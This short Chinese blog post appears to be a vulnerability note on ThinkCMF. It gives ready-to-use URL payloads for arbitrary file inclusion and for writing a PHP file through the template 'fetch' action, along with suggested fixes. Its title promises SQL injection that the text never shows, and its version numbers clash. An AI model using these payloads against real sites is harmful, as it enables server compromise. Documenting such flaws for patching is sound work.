thinkcmf 1.6.0版本从sql注入到任意代码执行


1.恶意注册用户

文件application\User\Controller\LoginController.class.php 方法 dologin

请求验证码的URL为

http://xx.target.com/index.php?g=api&m=checkcode&a=index&length=2&font_size=14&width=100&height=34&charset=2345678&use_noise=0&use_curve=0


解决办法:不使用时需要注掉,防止恶意提交


2.<1>通过构造a参数的display方法,实现任意内容包含
payload:http://127.0.0.1/cmfx-X2.2.2/?a=display&templateFile=README.md


<2>通过构造a参数的fetch方法,实现任意文件写入,复现过程中有时能写入,有时无法写入。
payload:?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>



解决办法:将HomebaseController.class.php和AdminbaseController.class.php类中display和fetch函数的修饰符改为protected。



参考地址:https://www.freebuf.com/vuls/217586.html



鼎云博客
  • 最新评论
  • 总共0条评论